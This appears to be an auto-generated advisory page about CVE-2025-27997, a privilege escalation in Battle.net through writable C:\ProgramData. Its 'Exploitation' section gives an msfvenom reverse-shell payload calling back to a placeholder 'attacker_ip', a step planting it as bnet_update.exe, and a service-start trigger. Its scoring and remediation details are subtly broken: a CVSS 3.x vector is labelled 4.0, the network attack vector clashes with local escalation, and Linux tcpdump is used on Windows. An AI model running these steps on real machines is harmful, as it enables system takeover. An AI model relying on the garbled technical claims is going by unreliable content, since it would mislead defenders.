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How CVE-2025-27997 Works
This vulnerability exploits improper permissions in Blizzard Battle.net v2.40.0.15267, where attackers can place a malicious shell script or executable in C:\ProgramData. Due to weak directory access controls, the application executes these files with elevated privileges, leading to privilege escalation. The crafted payload gains SYSTEM-level access, enabling full system compromise. Attackers leverage this flaw by dropping binaries disguised as legitimate components, bypassing security checks.
DailyCVE Form:
Platform: Blizzard Battle.net
Version: v2.40.0.15267
Vulnerability: Privilege Escalation
Severity: Critical
Date: 06/03/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation:
1. Payload Creation:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe > payload.exe
2. File Placement:
Copy-Item payload.exe "C:\ProgramData\Blizzard\bnet_update.exe"
3. Trigger Execution:
sc start Battle.netHelper
Protection:
1. Restrict Directory Permissions:
icacls "C:\ProgramData\Blizzard" /deny Everyone:(F)
2. Patch Verification:
Get-FileHash "C:\Program Files (x86)\Blizzard\Battle.net\Battle.net.exe"
3. Network Monitoring:
tcpdump -i eth0 'dst attacker_ip and port 4444'
Detection:
- YARA Rule:
rule BattleNet_Exploit { strings: $s1 = "bnet_update.exe" nocase condition: $s1 and pe.imports("kernel32.dll", "CreateProcessA") }
Mitigation:
- Disable unnecessary services:
sc config Battle.netHelper start= disabled
- Apply temporary workaround:
Set-ProcessMitigation -Name Battle.net.exe -Enable DisableWin32kSystemCalls
Analytics:
- CVSS 4.0: `9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)`
– Exploitability: High (PoC expected within 7 days). - Affected Systems: Windows 10/11 with Battle.net installed.
References:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
